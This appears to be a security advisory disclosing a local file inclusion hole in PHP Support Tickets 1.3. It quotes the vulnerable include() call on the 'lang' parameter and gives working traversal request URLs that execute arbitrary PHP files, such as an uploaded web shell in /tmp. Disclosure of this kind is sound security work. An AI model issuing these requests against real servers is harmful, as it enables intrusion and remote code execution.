PHP Support Tickets 1.3 Local File Inclusion

`PHP_S_Tickets_v1.3 File Inclusion Vulnerability  
================================================  
  
  
Discovered by N_A, N_A[at]tutanota.com  
=======================================  
  
  
  
Description  
============  
  
PHP Support Tickets; will allow a webmaster the ability to offer its user base a means to contact its personell through request vouchers.  
  
  
https://sourceforge.net/projects/php-sup-tickets  
  
  
  
  
Vulnerability  
==============  
  
  
The vulnerability resides inside the index.php file:  
  
  
############ INCLUDE THE CONFIG, LANGUAGE AND HEADER FILE ############  
A   
include('config.php');  
A   
IF (!isset($_REQUEST['lang']))  
A A A $_REQUEST['lang'] = $langdefault;  
A   
include('language/'.$_REQUEST['lang'].'.php');  
A   
include('header.php');  
  
  
  
We can establish that we have direct control over the 'lang' variable by either POST, GET or COOKIE method as this is allowed by PHP.  
  
  
  
By default PHP has allow_url_include disabled inside php.ini so RFI may not be possible.  
  
  
  
  
Exploitation  
=============  
  
  
It is possible to execute *any* php file on the server and possibly other vhosts inside the /var/ directory or where other vhosts reside. Any php file will be executed by issuing the correct request i.e a correct directory with the php file inside that you wish to execute.  
  
Example:  
  
http://127.0.0.1/PHP_S_Tickets_v1.3/index.php?lang=/path/to/phpfile  
  
http://127.0.0.1/PHP_S_Tickets_v1.3/index.php?lang=../../../../../../tmp/phpshell  
  
  
*NOTE - do not issue the request for phpshell.php as the code in the file attaches .php to the end of the requested file so the file name is needed with out the .php extension.  
  
i.eA index.php?../indexA A A A - will open and execute index.php  
  
  
  
  
  
  
Email  
======  
  
N_A[at]tutanota.com  
  
  
  
  
  
  
  
  
  
--  
Securely sent with Tutanota. Claim your encrypted mailbox today!  
https://tutanota.com  
`